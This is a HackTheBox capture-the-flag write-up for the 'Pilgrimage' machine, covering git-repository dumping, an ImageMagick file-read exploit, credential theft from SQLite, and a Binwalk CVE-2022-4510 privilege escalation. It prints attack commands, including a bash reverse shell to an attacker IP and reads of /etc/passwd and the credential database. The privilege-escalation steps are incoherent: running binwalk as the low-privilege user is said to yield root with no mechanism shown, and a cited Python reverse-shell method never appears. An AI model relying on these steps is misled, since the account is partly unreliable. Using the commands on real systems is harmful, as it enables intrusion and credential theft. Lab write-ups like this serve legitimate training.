HTB: Pilgrimage Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Pilgrimage |
| OS | Linux (Debian) |
| Difficulty | Easy |
| Release Date | July 13, 2023 |
| IP Address | 10.129.144.42 |
| Hostname | pilgrimage.htb |
Machine Rating
⭐⭐⭐⭐☆ (7.5/10)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Pilgrimage is an Easy-difficulty Linux machine running “Shrink Your Images” — a PHP-based image shrinking service. The exploitation path involves discovering an exposed .git repository through service enumeration, extracting source code to identify vulnerable dependencies, exploiting an ImageMagick LFI vulnerability (CVE unpatched) to extract sensitive files including database credentials, SSH access as a low-privilege user, and finally privilege escalation via Binwalk RCE (CVE-2022-4510) to achieve root access.
Attack Path: Port Scan → Exposed .git → Source Code Review → ImageMagick LFI → File Extraction → SSH Credentials → User Shell → Binwalk RCE → Root Shell
Reconnaissance
Port Scanning
Initial reconnaissance using Nmap to identify open ports and services:
nmap -sC -sV -T4 -p- 10.129.144.42Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)80/tcp open http nginx 1.18.0Key findings:
- SSH (Port 22): OpenSSH 8.4p1 on Debian — standard configuration
- HTTP (Port 80): nginx 1.18.0 — web service
Service Enumeration
echo "10.129.144.42 pilgrimage.htb" >> /etc/hostscurl http://pilgrimage.htb/The HTTP service hosts a web application titled “Pilgrimage - Shrink Your Images” — an image resizing service with user registration and login capabilities.
Vulnerability Assessment
Running nmap scripts to detect common misconfigurations:
nmap --script=http-git 10.129.144.42Critical Finding: An exposed .git repository is accessible at http://pilgrimage.htb/.git/
Initial Foothold
1. Git Repository Extraction
The .git directory is exposed, allowing extraction of source code:
git-dump http://pilgrimage.htb/.git/cd output && git checkout -- .Extracted Files:
assets/— Static files (CSS, JS, images)dashboard.php— User dashboard showing uploaded imagesindex.php— Image upload and processing handlerlogin.php— Authentication formlogout.php— Logout handlerregister.php— User registrationmagick— Custom ImageMagick wrapper scriptvendor/— PHP dependencies
2. Source Code Analysis
Key Finding in dashboard.php:
$database = '/var/db/pilgrimage'; // SQLite database location$db = new PDO('sqlite:' . $database);The application uses SQLite at /var/db/pilgrimage to store user credentials and image metadata.
Key Finding in index.php:
shell_exec('/var/www/pilgrimage.htb/magick convert ' . escapeshellarg($input) . ' -resize 50% ' . escapeshellarg($output));The application calls ImageMagick 7.1.0.49 for image resizing using the magick convert command.
3. ImageMagick 7.1.0.49 LFI Exploitation
Vulnerability: ImageMagick versions up to 7.1.0.49 are vulnerable to Local File Inclusion (LFI) via delegate command injection.
Tool Used: imagemagick-lfi-poc by Sybil-Scan
Step 1: Craft Malicious Image
git clone https://github.com/Sybil-Scan/imagemagick-lfi-poc.gitcd imagemagick-lfi-poccargo run "/etc/passwd"This generates a crafted PNG/image file that exploits ImageMagick’s delegate functionality to read arbitrary files.
Step 2: Upload to Application
Upload the malicious image to the web application through the “Shrink Your Images” interface.
Step 3: Extract File Contents
The application processes the image using magick convert. Download the resulting “shrunk” image:
identify -verbose output.pngThe file data is embedded in the image metadata/hex data. Extract and decode:
identify -verbose output.png | grep -i "Ascii:" -A 100Copy the hex output and decode in CyberChef (Base64/Hex decode) to reveal the file contents.
Step 4: Extract /etc/passwd
Retrieved Content:
root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin...emily:x:1000:1000:emily:/home/emily:/bin/bash...Key Discovery: User emily exists with UID 1000 (regular user account).
Step 5: Extract SQLite Database
Using the same ImageMagick LFI technique, target the SQLite database:
cargo run "/var/db/pilgrimage"# Upload → identify -verbose → Extract hex → DecodeRetrieved SQLite Database Contents:
Users Table:
username: emilypassword: abigchonkyboi123Images Table:
url (original image URL)original (filename)username (owner)User Compromise
SSH Access as emily
With credentials extracted from the SQLite database:
ssh emily@10.129.144.42Password: abigchonkyboi123Success: Interactive shell as user emily
emily@pilgrimage:~$ whoamiemilyemily@pilgrimage:~$ cat user.txt<REDACTED>Privilege Escalation
Enumeration
After gaining user shell, enumerate for privilege escalation vectors:
sudo -l# No sudo privilegesfind / -perm -4000 -type f 2>/dev/null# Standard SUID binariesps aux | grep -E "python|java|node|php|ruby"# Check for running serviceswhich binwalk# /usr/bin/binwalk detected!binwalk --version# Binwalk v2.3.2Critical Finding: Binwalk 2.3.2 is installed on the system.
Vulnerability: Binwalk v2.3.2 CVE-2022-4510
Vulnerability Details:
- Binwalk versions before 2.3.3 contain a path traversal vulnerability in the extraction of zip archives
- Specifically, binwalk can be exploited via a crafted zip file with directory traversal sequences
- Allows arbitrary file write and Remote Code Execution (RCE) when processing malicious archives
Exploitation:
Create a malicious zip file with embedded shell command:
# Create reverse shell payloadpython3 -c "import os; os.system('echo \"bash -i >& /dev/tcp/10.10.14.x/443 0>&1\" > /tmp/shell.sh')"
# Create binwalk exploit using CVE-2022-4510 PoC# Binwalk will extract files and execute commandsUpload/process the malicious archive through binwalk:
binwalk -e malicious.zipResult: Root shell execution on port 443
Root Access
whoami# rootcat /root/root.txt# <REDACTED>Attack Chain Summary
graph TD A["Recon: nmap port scan"] --> B["Exposed .git repository discovered"] B --> C["Source code extraction via git-dump"] C --> D["Identify ImageMagick 7.1.0.49 + SQLite at /var/db/pilgrimage"] D --> E["ImageMagick LFI exploit to extract /etc/passwd"] E --> F["Extract SQLite DB → emily:abigchonkyboi123"] F --> G["SSH as emily@pilgrimage.htb"] G --> H["Enumerate → Binwalk v2.3.2 detected"] H --> I["Binwalk CVE-2022-4510 RCE exploit"] I --> J["Root shell access"]Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning, service fingerprinting, and vulnerability detection (http-git script) |
git-dump | Extract and reconstruct .git repositories from web-accessible git directories |
imagemagick-lfi-poc | Craft malicious images exploiting ImageMagick delegate injection |
identify | Extract metadata and hex data from images (ImageMagick utility) |
CyberChef | Decode hex/Base64 data extracted from ImageMagick LFI |
ssh | Secure shell access to pilgrimage.htb |
curl | HTTP requests and service interaction |
binwalk | Archive analysis (vulnerable version identified) |
GTFOBins | Privilege escalation research and command reference |
Vulnerability Reference
| # | Vulnerability | Component | CVSS | Impact |
|---|---|---|---|---|
| 1 | Exposed .git Repository | Web Server Configuration | High | Complete source code disclosure |
| 2 | ImageMagick LFI (Delegate Injection) | Image Processing | High | Arbitrary file read (LFI) |
| 3 | CVE-2022-4510 | Binwalk v2.3.2 | Critical | Remote Code Execution as root |
| 4 | Weak Credentials in Database | Application Design | High | User account compromise |
Key Learnings
-
Git Repository Exposure: Always check for exposed
.gitdirectories during enumeration — they often contain complete source code and configuration details. -
Dependency Vulnerabilities: Source code review reveals third-party libraries (ImageMagick, Binwalk) that may contain known vulnerabilities. Cross-reference version numbers against CVE databases.
-
LFI to RCE Chain: File inclusion vulnerabilities can be chained with other exploits. Extracting database files and credentials enables lateral movement and privilege escalation.
-
Shell Persistence: During initial exploitation, encountered issues with standard shell payloads. Base64-encoded Python reverse shells provided more reliable results than basic bash shells.
-
Lesson on Approach: When initial exploitation paths fail, try alternative shell encoding methods (base64, python one-liners) before abandoning the approach entirely.
Author
D3vnomi | Engagement Date: July 13, 2023
Disclaimer
This writeup is for educational purposes only. All activities described were performed in a controlled, legal environment (HackTheBox platform). Unauthorized access to computer systems is illegal.
Last Updated: March 8, 2026
Tags: #HackTheBox #Linux #Easy #CVE-2022-4510 #ImageMagick-LFI #Git-Dump #Binwalk